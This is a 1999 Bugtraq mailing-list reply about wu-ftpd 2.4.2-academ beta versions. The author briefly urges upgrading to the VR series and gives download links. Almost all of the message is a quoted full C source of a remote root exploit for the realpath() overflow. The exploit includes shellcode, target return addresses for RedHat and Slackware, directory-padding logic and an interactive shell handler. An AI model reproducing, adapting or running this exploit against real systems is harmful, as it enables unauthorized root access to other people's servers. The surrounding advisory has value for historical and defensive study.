[10436] in bugtraq
Re: wuftp2.4.2academ beta 12-18 exploit
daemon@ATHENA.MIT.EDU (Chad Price)
Tue May 4 20:05:46 1999
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Message-Id: <4.1.19990504085001.00b61260@molbio.unmc.edu>
Date: Tue, 4 May 1999 08:54:37 -0500
Reply-To: Chad Price <cprice@MOLBIO.UNMC.EDU>
From: Chad Price <cprice@MOLBIO.UNMC.EDU>
X-To: Mixter <mixter@MIXTER.ORG>
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To: <Pine.LNX.4.04.9905012157010.543-100000@aviation.net>
Beta 18 is not a current version. Yet another reason to upgrade to the VR
series of wu-ftd. The current archives are at ftp.vr.net.
The location of the latest versions of wu-ftpd can be found in the
directory
ftp://ftp.vr.net/pub/wu-ftpd/
wu-ftpd Resource Center: http://www.landfield.com/wu-ftpd/
wu-ftpd FAQ: http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html
wu-ftpd list archive: http://www.landfield.com/wu-ftpd/mail-archive/
At 09:59 PM 5/1/1999 +0200, Mixter wrote:
>this works on a lot of wu-ftpd`s
>also uses other commands than MKD to
>exploit realpath() overflow
>
>/*
> * Remote/local exploit for wu-ftpd [12] through [18]
> * gcc w00f.c -o w00f -Wall -O2
> *
> * Offsets/padding may need to be changed, depending on remote daemon
> * compilation options. Try offsets -5000 to 5000 in increments of 100.
> *
> * Note: you need to use -t >0 for -any- version lower than 18.
> * Coded by smiler and cossack
> */
>#include <stdio.h>
>#include <stdlib.h>
>#include <string.h>
>#include <stdarg.h>
>#include <unistd.h>
>#include <errno.h>
>#include <sys/socket.h>
>#include <sys/time.h>
>#include <netinet/in.h>
>#include <netdb.h>
>#include <arpa/inet.h>
>
>
>/* In a beta[12-17] shellcode_A overflow, we will not see responses
>to our commands. Add option -c (use chroot code) to fix this. */
>unsigned char hellcode_a[]=
> "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
> "\xeb\x2c\x5b\x89\xd9\x80\xc1\x06\x39\xd9\x7c\x07\x80\x01\x20"
> "\xfe\xc9\xeb\xf5\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c"
> "\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd"
> "\x80\xe8\xcf\xff\xff\xff\xff\xff\xff"
> "\x0f\x42\x49\x4e\x0f\x53\x48";
>
>unsigned char hellcode_b[]=
> "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
> "\xeb\x66\x5e\x89\xf3\x80\xc3\x0f\x39\xf3\x7c\x07\x80"
> "\x2b\x02\xfe\xcb\xeb\xf5\x31\xc0\x88\x46\x01\x88\x46"
> "\x08\x88\x46\x10\x8d\x5e\x07\xb0\x0c\xcd\x80\x8d\x1e"
> "\x31\xc9\xb0\x27\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x31"
> "\xc0\x8d\x5e\x02\xb0\x0c\xcd\x80\x31\xc0\x88\x46\x03"
> "\x8d\x5e\x02\xb0\x3d\xcd\x80\x89\xf3\x80\xc3\x09\x89"
> "\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d"
> "\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd\x80"
> "\xe8\x95\xff\xff\xff\xff\xff\xff\x43\x43\x30\x30\x31"
> "\x30\x30\x31\x43\x31\x64\x6b\x70\x31\x75\x6a";
>
>
>char *Fgets(char *s,int size,FILE *stream);
>int ftp_command(char *buf,int success,FILE *out,char *fmt,...);
>int double_up(unsigned long blah,char *doh);
>int resolv(char *hostname,struct in_addr *addr);
>void fatal(char *string);
>int usage(char *program);
>int tcp_connect(struct in_addr host,unsigned short port);
>int parse_pwd(char *in,int *pwdlen);
>void RunShell(int thesock);
>
>
>
>struct type {
> unsigned long ret_address;
> unsigned char align; /* Use this only to offset \xff's used */
> signed short pad_shift; /* how little/much padding */
> unsigned char overflow_type; /* whether you have to DELE */
> char *name;
>};
>
>/* ret_pos is the same for all types of overflows, you only have to change
> the padding. This makes it neater, and gives the shellcode plenty of
> room for nops etc
> */
>#define RET_POS 190
>#define FTPROOT "/home/ftp"
>
>
>/* the redhat 5.0 exploit doesn't work at the moment...it must be some
> trite error i am overlooking. (the shellcode exits w/ code 0375) */
>struct type types[]={
> { 0xbffff340, 3, 60, 0, "BETA-18 (redhat 5.2)", },
> { 0xbfffe30e, 3,-28, 1, "BETA-16 (redhat 5.1)", },
> { 0xb2ffe356, 3,-28, 1, "BETA-15 (redhat 5.0)", },
> { 0xbfffebc5, 3, 0, 1, "BETA-15 (slackware 3.3)", },
> { 0xbffff3b3, 3, 0, 1, "BETA-15 (slackware 3.4)", },
> { 0xbffff395, 3, 0, 1, "BETA-15 (slackware 3.6)", },
> { 0,0,0,0,NULL }
> };
>
>struct options {
> char start_dir[20];
> unsigned char *shellcode;
> unsigned char chroot;
> char username[10];
> char password[10];
> int offset;
> int t;
>} opts;
>
>/* Bit of a big messy function, but hey, its only an exploit */
>
>int main(int argc,char **argv)
>{
> char *argv0,ltr;
> char outbuf[1024], inbuf[1024], ret_string[5];
> int pwdlen,ctr,d;
> FILE *cin;
> int fd;
> struct in_addr victim;
>
> argv0 = strdup(argv[0]);
> *opts.username = *opts.password = *opts.start_dir = 0;
> opts.chroot = opts.offset = opts.t = 0;
> opts.shellcode = hellcode_a;
>
> while ((d = getopt(argc,argv,"cs:o:t:"))!= -1){
> switch (d) {
> case 'c':
> opts.shellcode = hellcode_b;
> opts.chroot = 1;
> break;
> case 's':
> strcpy(opts.start_dir,optarg);
> break;
> case 'o':
> opts.offset = atoi(optarg);
> break;
> case 't':
> opts.t = atoi(optarg);
> if ((opts.t < 0)||(opts.t>5)) {
> printf("Dont have that type!\n");
> exit(-1);
> }
> }
> }
>
> argc -= optind;
> argv += optind;
>
> if (argc < 3)
> usage(argv0);
>
> if (!resolv(argv[0],&victim)) {
> perror("resolving");
> exit(-1);
> }
> strcpy(opts.username,argv[1]);
> strcpy(opts.password,argv[2]);
>
> if ((fd = tcp_connect(victim,21)) < 0) {
> perror("connect");
> exit(-1);
> }
>
> if (!(cin = fdopen(fd,"r"))) {
> printf("Couldn't get stream\n");
> exit(-1);
> }
>
> Fgets(inbuf,sizeof(inbuf),cin);
> printf("%s",inbuf);
>
> if (ftp_command(inbuf,331,cin,"USER %s\n",opts.username)<0)
> fatal("Bad username\n");
> if (ftp_command(inbuf,230,cin,"PASS %s\n",opts.password)<0)
> fatal("Bad password\n");
>
> if (*opts.start_dir)
> if (ftp_command(inbuf,250,cin,"CWD %s\n",opts.start_dir)<0)
> fatal("Couldn't change dir\n");
>
> if (ftp_command(inbuf,257,cin,"PWD\n")<0)
> fatal("PWD\n");
>
> if (parse_pwd(inbuf,&pwdlen) < 0)
> fatal("PWD\n");
>
> srand(time(NULL));
> printf("Making padding directorys\n");
> for (ctr = 0;ctr < 4;ctr++) {
> ltr = rand()%26 + 65;
> memset(outbuf,ltr,194);
> outbuf[194]=0;
> if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0)
> fatal("MKD\n");
> if (ftp_command(inbuf,250,cin,"CWD %s\n",outbuf)<0)
> fatal("CWD\n");
> }
>
> /* Make padding directory */
>
> ctr = 124 - (pwdlen - types[opts.t].align);//180
> //ctr = 152 - (pwdlen - types[opts.t].align);
> ctr -= types[opts.t].pad_shift;
> if (ctr < 0) {
> exit(-1);
> }
> memset(outbuf,'A',ctr+1);
> outbuf[ctr] = 0;
> if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0)
> fatal("MKD\n");
> if (ftp_command(inbuf,250,cin,"CWD %s\n",outbuf)<0)
> fatal("CWD\n");
>
> memset(outbuf,0x90,195);
> d=0;
> for (ctr = RET_POS-strlen(opts.shellcode);ctr<(RET_POS);ctr++)
> outbuf[ctr] = opts.shellcode[d++];
> double_up(types[opts.t].ret_address-opts.offset,ret_string);
> strcpy(outbuf+RET_POS,ret_string);
> strcpy(outbuf+RET_POS+strlen(ret_string),ret_string);
>
> printf("Press any key to send shellcode...\n");
> getchar();
> if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0)
> fatal("MKD\n");
> if (types[opts.t].overflow_type == 1)
> if (ftp_command(inbuf,250,cin,"DELE %s\n",outbuf)<0)
> fatal("DELE\n");
> /* HEH. For type 1 style we add a dele command. This overflow
> occurs in delete() in ftpd.c. The cause is realpath() in realpath.c
> not checking bounds correctly, overwriting path[] in delete(). */
>
> RunShell(fd);
> return(1);
>}
>
>void RunShell(int thesock)
>{
> int n;
> char recvbuf[1024];
> fd_set rset;
>
> while (1)
> {
> FD_ZERO(&rset);
> FD_SET(thesock,&rset);
> FD_SET(STDIN_FILENO,&rset);
> select(thesock+1,&rset,NULL,NULL,NULL);
> if (FD_ISSET(thesock,&rset))
> {
> n=read(thesock,recvbuf,1024);
> if (n <= 0)
> {
> printf("Connection closed\n");
> exit(0);
> }
> recvbuf[n]=0;
> printf("%s",recvbuf);
> }
> if (FD_ISSET(STDIN_FILENO,&rset))
> {
> n=read(STDIN_FILENO,recvbuf,1024);
> if (n>0)
> {
> recvbuf[n]=0;
> write(thesock,recvbuf,n);
> }
> }
> }
> return;
>}
>
>
>int double_up(unsigned long blah, char *doh)
>{
> int a;
> unsigned char *ptr,*ptr2;
> bzero(doh,6);
> ptr=doh;
> ptr2=(char *)&blah;
> for (a=0;a<4;a++) {
> *ptr++=*ptr2;
> if (*ptr2==0xff) *ptr++=0xff;
> ptr2++;
> }
> return(1);
>}
>
>
>int parse_pwd(char *in, int *pwdlen)
>{
> char *ptr1,*ptr2;
>
> /* 257 "/" is current directory */
> ptr1 = strchr(in,'\"');
> if (!ptr1) return(-1);
> ptr2 = strchr(ptr1+1,'\"');
> if (!ptr2) return(-1);
> *ptr2 = 0;
> *pwdlen = strlen(ptr1+1);
> /* If its just "/" then it contributes nothing to the RET_POS */
> if (*pwdlen==1) *pwdlen -= 1;
> printf("Home Dir = %s, Len = %d\n",ptr1+1,*pwdlen);
> return(1);
>}
>
>int tcp_connect(struct in_addr host,unsigned short port)
>{
> struct sockaddr_in serv;
> int fd;
>
> fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
> bzero(&serv,sizeof(serv));
> memcpy(&serv.sin_addr,&host,sizeof(struct in_addr));
> serv.sin_port = htons(port);
> serv.sin_family = AF_INET;
> if (connect(fd,(struct sockaddr *)&serv,sizeof(serv)) < 0) {
> return(-1);
> }
> return(fd);
>}
>
>
>int ftp_command(char *buf,int success,FILE *out,char *fmt,...)
>{
> va_list va;
> char line[1200];
> int val;
>
> va_start(va,fmt);
> vsprintf(line,fmt,va);
> va_end(va);
>
> if (write(fileno(out),line,strlen(line)) < 0)
> return(-1);
>
> bzero(buf,200);
> while(1) {
> Fgets(line,sizeof(line),out);
>#ifdef DEBUG
> printf("%s",line);
>#endif
> if (*(line+3)!='-') break;
> }
> strncpy(buf,line,200);
> val = atoi(line);
> if (success != val) return(-1);
> return(1);
>}
>
>void fatal(char *string)
>{
> printf("%s",string);
> exit(-1);
>}
>
>char *Fgets(char *s,int size,FILE *stream)
>{
> char *ptr;
>
> ptr = fgets(s,size,stream);
> //if (!ptr)
> //fatal("Disconnected\n");
> return(ptr);
>}
>
>int resolv(char *hostname,struct in_addr *addr)
>{
> struct hostent *res;
>
> if (inet_aton(hostname,addr))
> return(1);
>
> res = gethostbyname(hostname);
> if (res == NULL)
> return(0);
>
> memcpy((char *)addr,(char *)res->h_addr,sizeof(struct in_addr));
> return(1);
>}
>
>int usage(char *program)
>{
> fprintf(stderr,"Usage: %s <host> <username> <password> [-c] [-s
>start_dir]\n",program);
> fprintf(stderr,"\t[-o offset] [-t type]\n");
> fprintf(stderr,"types:\n");
> fprintf(stderr,"0 - %s\n", types[0].name);
> fprintf(stderr,"1 - %s\n", types[1].name);
> fprintf(stderr,"2 - %s\n", types[2].name);
> fprintf(stderr,"3 - %s\n", types[3].name);
> fprintf(stderr,"4 - %s\n", types[4].name);
> fprintf(stderr,"5 - %s\n", types[5].name);
> fprintf(stderr,"\n");
> exit(0);
>}
>
>/* -EOF- */
Chad Price
Systems Manager
University of Nebraska Medical Center
600 S 42nd St
Omaha, NE 68506-6495
cprice@molbio.unmc.edu
(402) 559-9527
(402) 559-4077 (FAX)